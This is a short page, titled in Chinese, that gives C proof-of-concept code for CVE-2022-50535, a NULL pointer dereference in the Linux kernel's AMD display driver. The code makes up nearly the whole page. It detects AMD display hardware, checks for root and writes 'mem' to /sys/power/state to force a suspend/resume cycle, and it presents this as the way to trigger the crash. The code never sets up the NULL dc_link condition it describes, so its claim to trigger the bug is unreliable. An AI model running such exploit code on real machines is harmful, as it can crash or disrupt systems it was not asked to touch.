CVE-2022-50535 Linux内核AMD显示驱动空指针解引用漏洞

// CVE-2022-50535 PoC - Trigger null pointer dereference in dm_resume // This PoC demonstrates how to trigger the vulnerability by forcing // system suspend/resume cycle when dc_link is NULL #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Check if AMD GPU is present int check_amd_gpu() { FILE *fp = popen("lspci | grep -i 'amd.*display'", "r"); if (fp == NULL) return -1; char buf[256]; int found = 0; while (fgets(buf, sizeof(buf), fp) != NULL) { found = 1; break; } pclose(fp); return found; } // Step 2: Attempt to trigger the vulnerability via suspend/resume int trigger_suspend_resume() { int fd; // Check if we have permission to write to /sys/power/state fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("[-] Cannot open /sys/power/state (need root)"); return -1; } printf("[*] Triggering suspend to trigger dm_resume vulnerability...\n"); // Write 'mem' to suspend the system if (write(fd, "mem", 3) != 3) { perror("[-] Failed to suspend system"); close(fd); return -1; } close(fd); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2022-50535 PoC - AMD Display Driver NULL Pointer Deref\n"); // Check for AMD GPU if (!check_amd_gpu()) { printf("[-] No AMD display hardware detected.\n"); return 1; } printf("[+] AMD display hardware detected.\n"); // Check kernel version (vulnerable versions are pre-patch) FILE *fp = popen("uname -r", "r"); char kernel_ver[128]; if (fp) { fgets(kernel_ver, sizeof(kernel_ver), fp); pclose(fp); printf("[*] Current kernel: %s", kernel_ver); } // Trigger the vulnerability if (getuid() != 0) { printf("[-] Need root privileges to trigger suspend.\n"); return 1; } trigger_suspend_resume(); return 0; }